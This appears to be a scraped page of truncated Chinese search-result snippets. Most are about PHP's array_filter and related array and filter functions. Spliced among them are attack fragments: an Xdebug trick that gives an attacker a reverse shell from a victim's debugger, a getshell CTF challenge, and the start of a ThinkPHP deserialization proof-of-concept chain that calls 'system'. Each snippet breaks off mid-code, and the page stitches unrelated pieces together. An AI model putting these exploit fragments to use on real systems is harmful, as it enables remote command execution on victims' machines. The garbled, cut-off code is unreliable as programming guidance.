1 使用array_filter 数组函数 比如我们将数组里,name为abdul的用户删除 $array=array(array('name' => 'Jonathan', 'id' => '5'),array('name' => 'Abdul', 'id' => '22') );functionfn_filter($var) {if(strcasecmp($var['name'], 'abdul') == 0){returnfalse; }returntrue; }print_r(...
6 => 0,];print_r(array_filter($entry));## 返回结果Array( [0] =>foo [2] => -1) 示例二: //使用回调函数$array= [1, 2, 3, 4, 5, 6, 7, 8, 9, 10];$return_array=array_filter($array,function($value) {//过滤小于等于5的值return$value> 5 ?true:false; });print_r($re...
array_filter() 函数用回调函数过滤数组中的元素。该函数把输入数组中的每个键值传给回调函数。如果回调函数返回 true,则把输入数组中的当前键值返回给结果数组。数组键名保持不变。语法array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )...
* 在原数组上过滤 不需要把返回值=重新赋值 也不需要array_values更新index * @param array $a * @param callable $c */ public static function filter(array &$a, callable $c) { for ($i = 0; $i < count($a);) { if (call_user_func($c, $a[$i]) ) { $i++; } else { self::m...
FILTER_FLAG_EMAIL_UNICODEAllows the local part of the email address to contain Unicode characters FILTER_REQUIRE_SCALARThe value must be a scalar FILTER_REQUIRE_ARRAYThe value must be an array FILTER_FORCE_ARRAYTreats a scalar value as array with the scalar value as only element ...
受害者使用 COPY VALUE AS (print_r/var_export/json_encode)、Evaluate array in Console 等功能。命令将会执行。 攻击者可以收到受害者 Xdebug 服务器的 shell。 精心构造的代码如下(其中的反连IP地址为临时开启的VPS): <?php $chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMOPQRSTUVWXYZ_N+;'\"...
array_filter()Filters the values of an array using a callback function array_flip()Flips/Exchanges all keys with their associated values in an array array_intersect()Compare arrays, and returns the matches (compare values only) array_intersect_assoc()Compare arrays and returns the matches (compa...
php// 测试环境 linux + apache2 + php// 没有开rewrite ,所以写 .htaccess 没用// 没有用cgi ,所以写 .user.ini 也没有// 要求 getshell// 修改配置文件,crontab之类的都是没权限的。$content=$_POST['content'];$filename=$_POST['filename'];$filename="backup/".$filename;if(preg_match('...
think\model\concern\Attribute->getValue() smi1e师傅的poc: <?phpnamespacethink\process\pipes{classWindows{private$files;publicfunction__construct($files){$this->files=array($files);}}}namespacethink\model\concern{traitConversion{}traitAttribute{private$data;private$withAttr=array('Smi1e'=>'system...
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